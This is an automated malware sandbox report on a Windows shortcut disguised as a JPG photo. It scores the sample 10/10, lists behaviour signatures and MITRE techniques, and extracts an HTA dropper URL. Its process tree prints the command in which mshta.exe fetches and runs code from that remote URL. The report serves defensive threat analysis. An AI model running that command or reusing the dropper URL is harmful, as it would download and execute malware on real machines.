1af2c8d963b56512e04a7f2136b3794f4172ae089e72880119e6bcdba4e9df9c

Analysis

max time kernel
298s
max time network
1218s
platform
windows7_x64
resource
win7-20220310-en
submitted
22-03-2022 12:37

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General

Target

samples/IMG_20210628_160548.jpg.lnk

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210628_160548

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	1988	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2932610838-281738825-1127631353-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1800 wrote to memory of 1988	1800	cmd.exe	28
PID 1800 wrote to memory of 1988	1800	cmd.exe	28
PID 1800 wrote to memory of 1988	1800	cmd.exe	28

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210628_160548.jpg.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1800
- C:\Windows\System32\mshta.exe
  "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210628_160548
  2⤵
  - Blocklisted process makes network request
  - Modifies Internet Explorer settings
  PID:1988

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1800-54-0x000007FEFC061000-0x000007FEFC063000-memory.dmp

Filesize
8KB

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